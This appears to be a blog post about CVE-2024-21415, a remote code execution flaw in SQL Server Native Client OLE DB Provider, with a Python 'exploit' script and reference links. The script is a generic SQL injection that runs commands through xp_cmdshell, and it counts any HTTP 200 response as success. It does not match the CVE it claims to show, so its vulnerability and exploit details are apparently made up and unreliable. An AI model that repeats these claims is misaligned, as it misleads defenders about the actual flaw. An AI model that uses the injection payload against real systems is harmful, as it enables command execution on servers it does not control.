CVE-2024-21415: SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability - Exploit Details, Code Snippets, and Original References

CVE-2024-21415 is a critical vulnerability discovered in the SQL Server Native Client OLE DB Provider, which could allow unauthenticated remote code execution. This vulnerability stems from improper handling of user-supplied data, allowing an attacker to exploit it by sending specially crafted requests to the vulnerable application. In this post, we will dive deep into the exploit details, provide code snippets for a better understanding, and refer to original sources for further reading.

Overview of SQL Server Native Client OLE DB Provider Vulnerability

This vulnerability specifically targets the SQL Server Native Client OLE DB Provider, a set of components that provide data access in SQL Server-based applications. The vulnerability is caused due to improper handling of user-supplied data. Attackers can exploit this flaw by crafting malicious requests to the target system. Once successfully executed, the attacker can gain complete control over the system, potentially allowing the execution of arbitrary code, accessing sensitive information, and even rendering the system non-operational.

Exploit Details

A successful attack scenario begins with an attacker crafting a malicious SQL request to the vulnerable application. The attack then injects this request into the target system, exploiting the faulty handling of user-supplied data by the SQL Server Native Client OLE DB Provider. As a result, the attacker can execute arbitrary code on the target system, potentially leading to a complete compromise of the system.

The following code snippet demonstrates a potential exploit of the CVE-2024-21415 vulnerability

import sys
import requests

target_system = sys.argv[1]
payload = "'; exec master..xp_cmdshell 'calc.exe'--"

exploit_url = target_system + "/vulnerable_app/submit_query?query=" + payload
response = requests.get(exploit_url)

if response.status_code == 200:
    print("Exploit succeeded!")
else:
    print("Exploit failed.")

In this example, the attacker crafts a payload containing a command to open the Windows calculator app (calc.exe). The exploit script then sends an HTTP request to the vulnerable application, injecting the malicious payload through the 'query' parameter. If successful, the exploit script receives a 200 OK HTTP response, and the calculator application launches on the target system.

Original References

For further information about the CVE-2024-21415 vulnerability, please refer to the following resources:

1) CVE Official Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21415
2) National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2024-21415
3) Microsoft Security Advisory: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2024/21415

Conclusion

CVE-2024-21415 is a critical vulnerability within the SQL Server Native Client OLE DB Provider, which, if exploited, can lead to remote code execution attacks. To mitigate this vulnerability, users are recommended to apply the relevant security patches provided by the software vendor and adopt security best practices for managing user input. By understanding the exploit details, code snippets, and original references provided in this post, you can better protect your systems from this dangerous vulnerability and ensure the safety of your data and infrastructure.

Timeline

Published on: 07/09/2024 17:15:13 UTC
Last modified on: 09/19/2024 17:35:59 UTC